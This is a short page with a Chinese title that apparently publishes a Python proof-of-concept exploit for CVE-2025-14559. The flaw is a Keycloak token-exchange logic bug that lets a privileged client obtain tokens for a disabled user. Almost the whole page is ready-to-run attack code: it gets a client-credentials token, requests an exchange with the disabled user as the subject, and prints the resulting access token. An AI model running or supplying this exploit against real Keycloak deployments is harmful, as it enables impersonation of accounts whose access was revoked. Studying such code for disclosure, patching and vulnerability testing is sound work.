CVE-2025-14559 Keycloak Token Exchange业务逻辑漏洞 - 禁用用户仍可获取令牌

# CVE-2025-14559 PoC - Keycloak Token Exchange for Disabled Users # This PoC demonstrates the token exchange vulnerability for disabled users import requests import json KEYCLOAK_URL = "http://target-keycloak:8080" REALM = "master" PRIVILEGED_CLIENT_ID = "privileged-client" PRIVILEGED_CLIENT_SECRET = "client-secret-here" DISABLED_USER_ID = "disabled-user-uuid" def get_privileged_client_token(): """Obtain access token for privileged client""" url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" data = { "grant_type": "client_credentials", "client_id": PRIVILEGED_CLIENT_ID, "client_secret": PRIVILEGED_CLIENT_SECRET } response = requests.post(url, data=data) return response.json().get("access_token") def exchange_token_for_disabled_user(access_token): """Exploit: Exchange token for a disabled user - this should fail but succeeds""" url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" headers = {"Authorization": f"Bearer {access_token}"} data = { "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange", "subject_token": access_token, "requested_subject": DISABLED_USER_ID, "client_id": PRIVILEGED_CLIENT_ID, "client_secret": PRIVILEGED_CLIENT_SECRET } response = requests.post(url, headers=headers, data=data) return response.json() def main(): print("[*] CVE-2025-14559 - Keycloak Token Exchange for Disabled Users") print("[*] Obtaining privileged client token...") token = get_privileged_client_token() if token: print("[+] Got privileged client token") print("[*] Attempting token exchange for disabled user...") result = exchange_token_for_disabled_user(token) if "access_token" in result: print("[!] VULNERABLE: Successfully obtained tokens for disabled user") print(f"[!] Access Token: {result['access_token'][:50]}...") else: print("[-] Not vulnerable or user not disabled") else: print("[-] Failed to obtain client token") if __name__ == "__main__": main()